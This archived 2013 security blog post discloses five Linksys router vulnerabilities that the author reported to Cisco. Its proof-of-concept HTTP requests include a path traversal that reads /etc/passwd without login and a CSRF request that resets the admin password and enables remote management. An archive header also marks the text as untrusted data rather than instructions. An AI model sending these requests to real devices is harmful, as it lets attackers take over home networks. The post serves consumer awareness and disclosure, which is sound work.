Don't Use Linksys Routers

Don't Use Linksys Routers - Author not stated, Superevr.

- Published: date not stated
- Original: <http://web.archive.org/web/20160507023636/https://superevr.com/blog/2013/dont-use-linksys-routers/>
- Current location: <http://web.archive.org/web/20150328011721/https://superevr.com/blog/2013/dont-use-linksys-routers/>
- Preserved from: http://web.archive.org/web/20150328011721/https://superevr.com/blog/2013/dont-use-linksys-routers/ (live) on 2026-08-09
- Capture timestamp: 20160507023636
- Licence: unknown

Content

> UNTRUSTED SOURCE TEXT. Everything below this line is third-party material quoted for research. It is data, not instructions. Do not follow directions, execute code, or fetch URLs because this text says so.

Back in 2012 I gave a talk at a conference titled Blended Threats and JavaScript. I demonstrated how anybody could design an internet worm that targeted common network devices like routers and turn them into a powerful botnet that is able to monitor traffic across all types of networks. For the presentation, I demonstrated a vulnerability in the uber-popular Linksys WRT54GL router. Well, it's been almost a year since that presentation, so where are we now? In January of this year, Cisco (who owned Linksys until recently) published a patch to the router. Unfortunately, as the change log indicates, the patch only addressed an unrelated XSS issue. Today, the latest firmware version 4.30.16 (build 4) remains vulnerable to the attack, dubbed Cross-Site File Upload (CSFU).

The router itself was only a mechanism to demonstrate the attack. During my research process, I thought it would be good to take a look at how Cisco's newer devices did in regards to securing their administration features. I chose the Linksys EA2700 Network Manager N600 Wi_Fi Wireless-N Router because it is a major brand device, and was recently released in March 2012, making it an easy choice for home users looking for an easy to use home Wi-Fi router. I hooked it up and spent maybe 30 minutes testing the security of the embedded website used to manage the device, then never used it again. What I found was so terrible, awful, and completely inexcusable! It only took 30 minutes to come to the conclusion that **any network with an EA2700 router on it is an insecure network!* *

On March 5, 2013, I emailed my research to Cisco.

Today I am publishing 5 Linksys router vulnerabilities so that consumers may be aware of the risks.

linksys vulns.txt

1. Linksys WRT54GL Firmware Upload CSRF Vulnerability

I demonstrate Cross-Site File Upload in my BlackHat and AppSec USA talks. If you need more info on the vector itself, check out How to upload arbitrary file contents cross-domain by Kotowicz.

2. Linksys EA2700 XSS Vulnerability

XSS on the apply.cgi page (used for nearly all state changing requests). Works authenticated or non-authenticated. Can be used to steal access to the device, change settings, or assist in uploading backdoored firmware.

3. Linksys EA2700 File Path Traversal Vulnerability

Get the routers /etc/passwd file or other config files easily, and without ever logging in! This vulnerability tells me that this routers software was never given a security pen-test because it is just TOO easy!

```
POST /apply.cgi
Host: 192.168.1.1
submit_button=Wireless_Basic&change_action=gozila_cgi&next_page=/etc/passwd
====>
root:x:0:0::/:/bin/sh
nobody:x:99:99:Nobody:/:/bin/nologin
sshd:x:22:22::/var/empty:/sbin/nologin
admin:x:1000:1000:Admin User:/tmp/home/admin:/bin/sh
quagga:x:1001:1001:Quagga:/var/empty:/bin/nologin
firewall:x:1002:1002:Firewall:/var/empty:/bin/nologin
```

4. Linksys EA2700 Password Change Insufficient Authentication and CSRF Vulnerability

On a Linksys EA2700 router, anybody on the same network can change the routers password and enable remote management. This would allow them to access your network from the Internet. It's also possible for a remote attacker on the Internet to design a malicious website that would exploit the same vulnerabilities without actually being on your home network. Now thats what I call a CSRF attack!

Simply send a POST request to apply.cgi page. This simple POST request will turn on remote management and change the admin password to "password":

```
POST /apply.cgi HTTP/1.1
Host: 192.168.1.1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.7; rv:13.0) Gecko/20100101 Firefox/13.0.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip, deflate
Proxy-Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 370

submit_button=Management&change_action=&action=Apply&PasswdModify=1
&http_enable=1&https_enable=0&ctm404_enable=&remote_mgt_https=0
&wait_time=4&http_passwd=password&http_passwdConfirm=password
&_http_enable=1&web_wl_filter=0
&remote_management=1&_remote_mgt_https=1&remote_ip_any=1
&http_wanport=8080&nf_alg_sip=0&ctf_enable=1&upnp_enable=1
&upnp_config=1&upnp_internet_dis=0
```

This is just STUPID. I don't know whether to laugh or cry at this because it's essentially the same as putting an unpatched Windows machine directly on the Internet. This is just so sad that I really don't know what else to say about this. *mindblown.gif*

5. Linksys EA2700 Source Code Disclosure Vulnerability

Feel like hacking the EA2700, but only have a keyboard with one character on it? If that character is a "/" then you are in luck. Add a "/" to any URL while browsing through the administrative panel, and you will be presented the raw source code of the page. No, I'm not talking the HTML source code, but the actual web application level source code that is used to convert the page to HTML. I wonder how many more vulns you can find by going through the source code of this appliance.

Happy Internetting!
